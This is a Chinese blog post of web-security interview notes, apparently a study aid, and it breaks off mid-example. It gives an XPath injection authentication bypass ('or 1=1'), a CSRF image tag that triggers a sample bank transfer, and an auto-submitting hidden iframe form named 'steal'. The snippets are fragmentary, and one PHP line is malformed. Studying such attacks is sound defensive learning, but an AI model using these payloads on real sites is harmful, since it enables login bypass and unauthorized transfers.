日期:2014-05-16 浏览次数:21225 次
最近几次电话面试,都比较悲剧,关于面试者比较关注的地方,总不能很好地把握,对于自己蜻蜓点水式的学习方式,很难在面试的时候给人留下很牛逼,很专业,很高深,很强大的感觉,不过现在亡羊补牢或许还为时不晚。
由于很难一次性整理完全,所以先发上来不定期更新
//-------------------------------格叽格叽------------------------------------------
//users/user[loginID/text()=’abc’ and password/text()=’test123’]如果要绕过验证,使用如下构造
//users/user[LoginID/text()=’’ or 1=1 and password/text()=’’ or 1=1]
(1)login.asp 中去除所有session
(2)创建一个新的session,将用户名付给此session
(3)如果用户验证成功,转跳欢迎界面
(4)如果验证失败,转跳到login.asp其实这种情况还是很少见的>_< http://www.mybank.com/Transfer.php?toBankId=11&money=1000js代码
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>如果前端页面使用的是post,而后端直接使用request来读取,也可以简单地使用get方式。
<?php
session_start();
if (isset($_POST['toBankId'] && isset($_POST['money']))
{
buy_stocks($_POST['toBankId'], $_POST['money']);
}
?><html>
<head>
<script type="text/javascript">
function steal()
{
iframe = document.frames["steal"];
iframe.document.Submit("transfer");
}
</script>
</head>
<body onload="steal()">
<iframe name="steal" display="none">
<form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php">
<input type="hidden" name="toBankId" value="11">
<input type="hidden" name="money" value="1000">
</form>
</iframe>
</body>
</html><?php
function gen_token() {
//这里我是贪方便,实际上单使用Rand()得出的随机数作为令牌,也是不安全的。
//这